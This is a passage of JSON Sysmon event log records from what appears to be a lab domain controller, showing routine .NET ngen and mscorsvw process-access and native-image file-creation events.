f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.244","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001036A50A00}","TargetProcessId":"1596","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6733,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.244\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001036A50A00}\r\nTargetProcessId: 1596\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.244","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001036A50A00}","TargetProcessId":"1596","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6734,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.244\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001036A50A00}\r\nTargetProcessId: 1596\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.244","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001036A50A00}","TargetProcessId":"1596","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6735,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.275\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001030A80A00}\r\nTargetProcessId: 4104\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.275","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001030A80A00}","TargetProcessId":"4104","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6736,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.275\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001030A80A00}\r\nTargetProcessId: 4104\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.275","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001030A80A00}","TargetProcessId":"4104","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6737,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001030A80A00}\r\nTargetProcessId: 4104\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001030A80A00}","TargetProcessId":"4104","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6738,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:29.416\r\nProcessGuid: {90617006-4299-5F2D-0000-001030A80A00}\r\nProcessId: 4104\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1008-0\\Microsoft.GroupPolicy.ServerAdminTools.GpmgmtLib.dll\r\nCreationUtcTime: 2020-08-07 12:01:29.416","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:29.416","ProcessGuid":"{90617006-4299-5F2D-0000-001030A80A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1008-0\\Microsoft.GroupPolicy.ServerAdminTools.GpmgmtLib.dll","CreationUtcTime":"2020-08-07 12:01:29.416","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6739,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.432\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001068AB0A00}\r\nTargetProcessId: 5060\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.432","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001068AB0A00}","TargetProcessId":"5060","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6740,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.432\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001068AB0A00}\r\nTargetProcessId: 5060\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.432","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001068AB0A00}","TargetProcessId":"5060","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6741,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.447\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001068AB0A00}\r\nTargetProcessId: 5060\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 